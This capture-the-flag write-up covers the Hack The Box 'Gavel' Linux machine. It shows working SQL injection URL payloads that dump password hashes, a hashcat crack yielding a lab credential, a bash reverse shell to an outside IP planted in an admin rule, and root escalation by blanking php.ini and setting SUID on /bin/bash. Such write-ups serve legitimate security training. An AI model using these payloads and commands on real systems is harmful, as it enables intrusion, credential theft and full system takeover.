> m4rt@CTF_ARCHIVE:~$

Hack The Box / LINUX / 2026-03-14

Hack The Box — Gavel (Linux)

SQL injection in inventory.php to recover credentials, admin rule RCE, then privilege escalation via gavel-util and PHP config abuse to root.

Target

  • IP: 10.10.11.97

Port scan

sudo nmap -sC -sV 10.10.11.97 -p- -v
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 1f:de:9d:84:bf:a1:64:be:1f:36:4f:ac:3c:52:15:92 (ECDSA)
|_  256 70:a5:1a:53:df:d1:d0:73:3e:9d:90:ad:c1:aa:b4:19 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Gavel Auction
| http-git:
|   10.10.11.97:80/.git/
|     Git repository found!
|     .git/config matched patterns 'user'
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: ..
|_http-favicon: Unknown favicon MD5: 954223287BC6EB88C5DD3C79083B91E1
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Add gavel.htb to /etc/hosts, then browse to http://gavel.htb.

The site is written in PHP. After registration and login, there is a bidding page at:

  • http://gavel.htb/bidding.php

Source code leak via exposed .git

Nmap reported an exposed .git directory. I used git-dumper to retrieve the web source:

mkdir www
python3 git-dumper/git_dumper.py http://gavel.htb/ www
cd www
code .

SQL injection in inventory.php

The vulnerable code in inventory.php:

$sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name';
$userId = $_POST['user_id'] ?? $_GET['user_id'] ?? $_SESSION['user']['id'];
$col = "`" . str_replace("`", "", $sortItem) . "`";
$itemMap = [];
$itemMeta = $pdo->prepare("SELECT name, description, image FROM items WHERE name = ?");
try {
    if ($sortItem === 'quantity') {
        $stmt = $pdo->prepare("SELECT item_name, item_image, item_description, quantity FROM inventory WHERE user_id = ? ORDER BY quantity DESC");
        $stmt->execute([$userId]);
    } else {
        $stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");
        $stmt->execute([$userId]);
    }
    $results = $stmt->fetchAll(PDO::FETCH_ASSOC);
} catch (Exception $e) {
    $results = [];
}

Reference technique: - https://slcyber.io/research-center/a-novel-technique-for-sql-injection-in-pdos-prepared-statements/

Payload attempts

Attempt against information_schema (no visible result, likely restricted):

http://gavel.htb/inventory.php?user_id=x` from (select table_name as `'x` from information_schema.tables)y;%23&sort=\?%23%00

Dump user password hashes:

http://gavel.htb/inventory.php?user_id=x` from (SELECT password AS `'x` from users)y;%23&sort=\?%23%00%20--%20

Two hashes are returned, one of which belongs to our own user. Crack the other hash:

./hashcat/hashcat -a 0 -m 3200 ./hash ./rockyou.txt

Cracked credential:

$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS:midnight1

Dump usernames:

http://gavel.htb/inventory.php?user_id=x` from (SELECT username AS `'x` from users)y;%23&sort=\?%23%00%20--%20

Recovered username:

  • auctioneer

Login with:

  • Username: auctioneer
  • Password: midnight1

Initial access (RCE via admin rule)

Go to the admin panel and modify a rule to:

return system("bash -c 'bash -i >& /dev/tcp/10.10.14.136/4444 0>&1'");

Start a listener:

nc -vlnp 4444

Then visit bidding.php, place a bid on the item whose rule was modified, and click Place Bid.

A reverse shell is returned.

Shell upgrade

Switch to the auctioneer user:

su auctioneer

Use password:

  • midnight1

Check groups:

id
uid=1001(auctioneer) gid=1002(auctioneer) groups=1002(auctioneer),1001(gavel-seller)

Privilege escalation

Find files belonging to group gavel-seller:

find / -group 'gavel-seller' 2> /dev/null

Interesting files:

  • /run/gaveld.sock
  • /usr/local/bin/gavel-util

Inspect binary:

file /usr/local/bin/gavel-util
/usr/local/bin/gavel-util: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=941cf63911b2f8f4cabff61062f2c9ad64f043d6, for GNU/Linux 3.2.0, not stripped

Also found in /opt/gavel:

file gaveld
gaveld: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3b8b1b784b45ddabaf9ca56b06b62d4f59f68a0d, for GNU/Linux 3.2.0, not stripped

gavel-util can submit auction rules. Example file:

  • /opt/gavel/sample.yaml
---
item:
  name: "Dragon's Feathered Hat"
  description: "A flamboyant hat rumored to make dragons jealous."
  image: "https://example.com/dragon_hat.png"
  price: 10000
  rule_msg: "Your bid must be at least 20% higher than the previous bid and sado isn't allowed to buy this item."
  rule: "return ($current_bid >= $previous_bid * 1.2) && ($bidder != 'sado');"

Copy this file to another directory (for example /tmp/test) and edit it into a valid structure you can submit.

Bypassing PHP restrictions

The rule engine uses this config:

  • /opt/gavel/.config/php/php.ini
cat /opt/gavel/.config/php/php.ini
engine=On
display_errors=On
display_startup_errors=On
log_errors=Off
error_reporting=E_ALL
open_basedir=/opt/gavel
memory_limit=32M
max_execution_time=3
max_input_time=10
disable_functions=exec,shell_exec,system,passthru,popen,proc_open,proc_close,pcntl_exec,pcntl_fork,dl,ini_set,eval,assert,create_function,preg_replace,unserialize,extract,file_get_contents,fopen,include,require,require_once,include_once,fsockopen,pfsockopen,stream_socket_client
scan_dir=
allow_url_fopen=Off
allow_url_include=Off

Many dangerous functions are disabled and open_basedir limits file access to /opt/gavel.

However, file_put_contents is not disabled, so we can overwrite php.ini with an empty file:

rule: "file_put_contents('/opt/gavel/.config/php/php.ini', ''); return true;"

Submit:

gavel-util submit test.yaml
Item submitted for review in next auction

Verify:

cat /opt/gavel/.config/php/php.ini

Now php.ini is empty, so we can call system() again.

Set SUID on /bin/bash:

rule: "system('chmod +s /bin/bash'); return true;"

Submit again:

gavel-util submit test.yaml
Item submitted for review in next auction

Root shell

bash -p

This gives a shell as root.